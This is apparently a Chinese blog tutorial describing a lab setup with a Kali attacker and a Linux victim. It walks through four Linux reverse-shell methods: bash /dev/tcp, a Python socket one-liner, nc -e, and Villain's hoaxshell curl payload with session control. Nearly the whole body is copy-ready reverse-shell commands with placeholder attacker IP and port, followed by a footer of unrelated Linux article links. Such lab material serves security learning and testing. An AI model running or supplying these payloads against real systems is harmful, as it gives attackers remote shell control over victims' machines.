2024 同一个网段,反弹shell四种方法【linux版本】bash、python、nc、villian反弹shell图解步骤

实验环境准备(同一个网段下,我是桥接的虚拟机)

一、bash反弹shell

二、python反弹shell

三、nc反弹shell

四、villain反弹shell


实验环境准备(同一个网段下,我是桥接的虚拟机)

一台kali的linux(攻击者)

一台centos7/debian[另一个linux](受害者)

一、bash反弹shell

注意:自定义的端口号需要保持一致哦

1、kali(攻击者)运行命令

复制代码
nc -lvp 自定义端口号

2、debian(受害者)运行命令

复制代码
 bash -i >& /dev/tcp/攻击者主机的ip/自定义的端口号 0>&1

3、结果在kali这边输出,并且已经连接成功,我们可以执行whoami查看权限

复制代码
whoami

二、python反弹shell

注意:自定义的端口号需要保持一致哦

1、kali(攻击者)运行命令

复制代码
nc -lvp 自定义端口号

2、debian(受害者)运行命令

注意修改攻击者的ip和端口号

复制代码
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击者的主机ip',自定义的端口号));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

3、结果在kali这边输出,并且已经连接成功,我们可以执行whoami查看权限

复制代码
whoami

三、nc反弹shell

注意:自定义的端口号需要保持一致哦

1、kali(攻击者)运行命令

复制代码
nc -lvp 自定义端口号

2、debian(受害者)运行命令

复制代码
nc -e /bin/bash 攻击者ip 自定义的端口号

3、结果在kali这边输出,(这个不回显)我们可以直接执行whoami查看权限

复制代码
whoami

四、villain反弹shell

1、kali(攻击者)运行命令

①运行villain,需要先安装哦

复制代码
villain

②生成linux的payload命令复制灰色区域的文字到debian的命令行中

温馨提示:可以在villain中使用help generate查看windows的payload生成方法

复制代码
generate payload=linux/hoaxshell/sh_curl lhost=eth0

2、debian(受害者)复制并运行刚才生成的payload命令

3、结果在kali这边输出

②我们查看上线的主机

复制代码
sessions

②进入shell,shell session的英文编码id,控制一下debian(受害者)

复制代码
shell sessionID

③whoami看一下权限

复制代码
whoami
相关推荐
斯普信专业组4 分钟前
Ceph异地数据同步之-RBD异地同步复制(下)
linux·服务器·ceph
counsellor9 分钟前
CentOS 7安装hyperscan
linux·centos·hyperscan
电星托马斯11 分钟前
Linux系统CentOS 6.3安装图文详解
linux·运维·服务器·程序人生·centos
啞謎专家14 分钟前
CentOS中挂载新盘LVM指南:轻松扩展存储空间,解决磁盘容量不足问题
linux·运维·服务器
s_little_monster27 分钟前
【Linux】进程信号的捕捉处理
linux·运维·服务器·经验分享·笔记·学习·学习方法
一大Cpp37 分钟前
Ubuntu与本地用户交流是两种小方法
linux·运维·ubuntu
小王不会写code41 分钟前
CentOS 7 镜像源失效解决方案(2025年)
linux·运维·centos
zyplanke44 分钟前
CentOS Linux升级内核kernel方法
linux·运维·centos
melck1 小时前
liunx日志查询常用命令总结
java·服务器·网络
go_bai1 小时前
Linux环境基础开发工具——(2)vim
linux·开发语言·经验分享·笔记·vim·学习方法